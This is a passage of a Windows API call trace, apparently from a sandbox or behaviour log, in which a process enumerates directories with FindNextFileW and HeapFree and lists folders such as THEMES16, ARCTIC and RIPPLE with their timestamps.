	[0150.939] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1
	[0150.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.939] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1
	[0150.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.939] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0150.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.939] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1
	[0150.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0150.940] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1
	[0150.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.940] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0150.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.940] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0150.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.941] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0150.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.941] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1
	[0150.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.941] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1
	[0150.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.942] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1
	[0150.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.942] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0150.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.942] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0150.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.943] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0150.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.943] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0150.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.943] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0150.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.943] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0150.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.955] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0150.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.956] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0150.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.956] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0150.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.956] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0150.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.957] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0150.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.957] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0150.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.957] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1
	[0150.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.958] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0150.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.958] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0150.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.958] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0150.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.959] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0150.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.959] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0150.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.959] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0150.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.960] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1
	[0150.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.960] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1
	[0150.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.961] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PROFILE", cAlternateFileName="")) returned 1
	[0150.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.961] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="QUAD", cAlternateFileName="")) returned 1
	[0150.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.961] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1
	[0150.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.962] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="REFINED", cAlternateFileName="")) returned 1
	[0150.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.962] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1
	[0150.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.962] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0150.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
